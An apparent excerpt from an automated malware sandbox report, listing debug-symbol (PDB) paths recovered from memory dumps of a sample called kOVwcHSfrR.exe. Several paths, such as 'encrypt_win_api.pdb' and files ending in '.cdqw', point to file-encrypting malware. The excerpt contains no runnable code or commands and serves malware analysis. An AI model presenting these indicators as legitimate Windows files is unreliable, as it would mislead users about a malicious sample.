Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\*) source: kOVwcHSfrR.exe, 0000000C.00000003.1665552311.0000000009957000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\f@ source: kOVwcHSfrR.exe, 0000000C.00000003.1798526242.0000000009D74000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1824213160.0000000009D74000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1827323821.0000000009D75000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\yeteruno-63\vuwuhativec.pdb source: kOVwcHSfrR.exe, kOVwcHSfrR.exe.7.dr
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\*e\ source: kOVwcHSfrR.exe, 0000000C.00000003.1841718968.0000000009D14000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1843040876.0000000009D65000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error.cdqww_Ya source: kOVwcHSfrR.exe, 0000000C.00000003.1665243351.00000000099ED000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1664922836.00000000099E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: kOVwcHSfrR.exe, 0000000C.00000003.1723625866.0000000009A60000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1723343799.00000000099F3000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721294177.00000000099EF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1665243351.00000000099ED000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721018659.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1664922836.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1723498511.0000000009A50000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\\\| source: kOVwcHSfrR.exe, 0000000C.00000003.1721247742.0000000009979000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1760857005.000000000998E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1759245306.0000000009979000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \user\Local Settings\Temp\Symbols\winload_prod.pdb\es\> source: kOVwcHSfrR.exe, 0000000C.00000003.1774142700.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799349513.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1722317833.0000000002FF5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1665460429.0000000002FF5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1723919107.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1759874904.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: kOVwcHSfrR.exe, 0000000C.00000003.1850698420.0000000009ECF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1850960458.0000000009CFD000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1851926999.0000000009D1D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.cdqw\ source: kOVwcHSfrR.exe, 0000000C.00000003.1665243351.00000000099ED000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1664922836.00000000099E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: kOVwcHSfrR.exe, 0000000C.00000003.1844759544.0000000009DE9000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1850698420.0000000009DE9000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1842260747.0000000009DC8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\b source: kOVwcHSfrR.exe, 0000000C.00000003.1760199831.0000000009C91000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: kOVwcHSfrR.exe, 0000000C.00000003.1760199831.0000000009CC4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1771351167.0000000009CC4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1771698374.0000000009CC5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1773281791.0000000009CCC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\MA source: kOVwcHSfrR.exe, 0000000C.00000003.1862853877.0000000009DE0000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1861333525.0000000009DE0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\-j source: kOVwcHSfrR.exe, 0000000C.00000003.1726155415.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\. source: kOVwcHSfrR.exe, 0000000C.00000003.1801055299.0000000009D35000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1800488892.0000000009D1D000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1771698374.0000000009D1C000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1798526242.0000000009CC4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1800424868.0000000009CFD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: kOVwcHSfrR.exe, 0000000C.00000003.1664922836.000000000999F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\\ source: kOVwcHSfrR.exe, 0000000C.00000003.1770984751.0000000009A37000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1771970280.0000000009A46000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1770508079.0000000009A32000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\es\ source: kOVwcHSfrR.exe, 0000000C.00000003.1841718968.0000000009D14000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1843040876.0000000009D65000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1833113829.0000000009D5D000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1831522677.0000000009D44000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error02065300.txt\TUc8 source: kOVwcHSfrR.exe, 0000000C.00000003.1664922836.00000000099E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ source: kOVwcHSfrR.exe, 0000000C.00000003.1760199831.0000000009C91000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\p\y\H source: kOVwcHSfrR.exe, 0000000C.00000003.1723343799.00000000099F3000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721294177.00000000099EF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1665243351.00000000099ED000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721018659.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1664922836.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1723498511.0000000009A50000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: kOVwcHSfrR.exe, 0000000C.00000003.1758898029.0000000009A50000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.cdqw source: kOVwcHSfrR.exe, 0000000C.00000003.1665243351.00000000099ED000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1664922836.00000000099E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\Qef source: kOVwcHSfrR.exe, 0000000C.00000003.1771970280.0000000009A5F000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1758898029.0000000009A50000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb\LogFile_October_5_2023__12_20_57.txt\r source: kOVwcHSfrR.exe, 0000000C.00000003.1664922836.00000000099E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\es\) source: kOVwcHSfrR.exe, 0000000C.00000003.1833233318.0000000009D0D000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1825272663.0000000009D14000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1837070317.0000000009D14000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\2.exe: source: kOVwcHSfrR.exe, 0000000C.00000003.1826144879.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1862456362.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000002.1865534180.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799378148.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1834665933.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1863871858.0000000000905000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\p\y\5 source: kOVwcHSfrR.exe, 0000000C.00000003.1723343799.00000000099F3000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721294177.00000000099EF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1665243351.00000000099ED000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721018659.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1664922836.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1723498511.0000000009A50000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\\\ source: kOVwcHSfrR.exe, 0000000C.00000003.1758898029.0000000009A50000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\6dO source: kOVwcHSfrR.exe, 0000000C.00000003.1758898029.0000000009A50000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\} source: kOVwcHSfrR.exe, 0000000C.00000003.1773527339.00000000099AA000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1770508079.00000000099A0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: kOVwcHSfrR.exe, 0000000C.00000003.1800761061.0000000009A32000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\\p source: kOVwcHSfrR.exe, 0000000C.00000003.1850960458.0000000009CFD000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1851926999.0000000009D1D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\t3 source: kOVwcHSfrR.exe, 0000000C.00000003.1800807752.0000000009B14000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1826443786.0000000009B06000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1825048511.0000000009AF3000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1826975561.0000000009B11000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799944229.0000000009B14000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1800598804.0000000009B14000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1827813449.0000000009B17000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ow\ source: kOVwcHSfrR.exe, 0000000C.00000003.1864162198.0000000002FBF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1863376655.0000000002FBF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1861028335.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1844185052.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1862919369.0000000002FBF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1759874904.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1837631251.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1726155415.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000002.1866167771.0000000002FBF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1800132832.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: kOVwcHSfrR.exe, 0000000C.00000003.1759874904.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1726155415.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\\s source: kOVwcHSfrR.exe, 0000000C.00000003.1723343799.00000000099F3000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721294177.00000000099EF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1665243351.00000000099ED000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721018659.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1664922836.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1723498511.0000000009A50000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: <C:\yeteruno-63\vuwuhativec.pdb source: kOVwcHSfrR.exe, kOVwcHSfrR.exe.7.dr
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: kOVwcHSfrR.exe, kOVwcHSfrR.exe, 0000000B.00000002.1345688399.00000000026A0000.00000040.00001000.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000002.1864846210.0000000000400000.00000040.00000400.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000D.00000002.2496998332.0000000000400000.00000040.00000400.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000E.00000002.1443847796.0000000002670000.00000040.00001000.00020000.00000000.sdmp, kOVwcHSfrR.exe, 00000011.00000002.1461036897.0000000000400000.00000040.00000400.00020000.00000000.sdmp, kOVwcHSfrR.exe, 00000013.00000002.1517241743.00000000026C0000.00000040.00001000.00020000.00000000.sdmp, kOVwcHSfrR.exe, 00000014.00000002.1531079174.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\w\ source: kOVwcHSfrR.exe, 0000000C.00000003.1844759544.0000000009DE9000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1842260747.0000000009DC8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\I3$ source: kOVwcHSfrR.exe, 0000000C.00000003.1771351167.0000000009D3F000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1800424868.0000000009D3F000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1773993849.0000000009D3F000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1798526242.0000000009D3F000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1801055299.0000000009D3F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\kies\ source: kOVwcHSfrR.exe, 0000000C.00000003.1823795183.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1824814843.0000000009A48000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799658382.0000000009A50000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1800546635.0000000009A53000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \user\Local Settings\Temp\Symbols\winload_prod.pdb\*s\P source: kOVwcHSfrR.exe, 0000000C.00000003.1774142700.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799349513.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1722317833.0000000002FF5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1665460429.0000000002FF5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1723919107.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1759874904.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\ source: kOVwcHSfrR.exe, 0000000C.00000003.1833113829.0000000009D5D000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1831522677.0000000009D44000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1824213160.0000000009D35000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb53939698.txt\t_}2 source: kOVwcHSfrR.exe, 0000000C.00000003.1664922836.00000000099E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: kOVwcHSfrR.exe, 0000000C.00000003.1801273420.0000000009A77000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1800233983.0000000009A5F000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1771970280.0000000009A5F000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1773826653.0000000009A70000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799658382.0000000009A5F000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1800286157.0000000009A76000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\*^ source: kOVwcHSfrR.exe, 0000000C.00000003.1833113829.0000000009D5D000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1831522677.0000000009D44000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1837453979.0000000009DC1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: kOVwcHSfrR.exe, 0000000C.00000003.1844759544.0000000009DE9000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1832767909.0000000009DE1000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1842260747.0000000009DC8000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1831522677.0000000009D44000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.errort.cdqwxte\ source: kOVwcHSfrR.exe, 0000000C.00000003.1664922836.00000000099E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \user\Local Settings\Temp\Symbols\winload_prod.pdb\ source: kOVwcHSfrR.exe, 0000000C.00000003.1774142700.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799349513.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1722317833.0000000002FF5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1665460429.0000000002FF5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1844185052.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000002.1866384273.0000000003011000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1836648464.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1859594296.0000000002FFC000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1861518823.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1826858814.0000000002FF5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1723919107.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1759874904.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: kOVwcHSfrR.exe, 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, kOVwcHSfrR.exe, 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000A.00000002.1325985469.0000000002850000.00000040.00001000.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000B.00000002.1345688399.00000000026A0000.00000040.00001000.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000002.1864846210.0000000000400000.00000040.00000400.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000D.00000002.2496998332.0000000000400000.00000040.00000400.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000E.00000002.1443847796.0000000002670000.00000040.00001000.00020000.00000000.sdmp, kOVwcHSfrR.exe, 00000011.00000002.1461036897.0000000000400000.00000040.00000400.00020000.00000000.sdmp, kOVwcHSfrR.exe, 00000013.00000002.1517241743.00000000026C0000.00000040.00001000.00020000.00000000.sdmp, kOVwcHSfrR.exe, 00000014.00000002.1531079174.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ory\ source: kOVwcHSfrR.exe, 0000000C.00000003.1860849466.0000000009AE0000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1860513716.0000000009A7F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.errorM\l source: kOVwcHSfrR.exe, 0000000C.00000003.1665243351.00000000099ED000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1664922836.00000000099E4000.00000004.00000020.00020000.00000000.sdmp
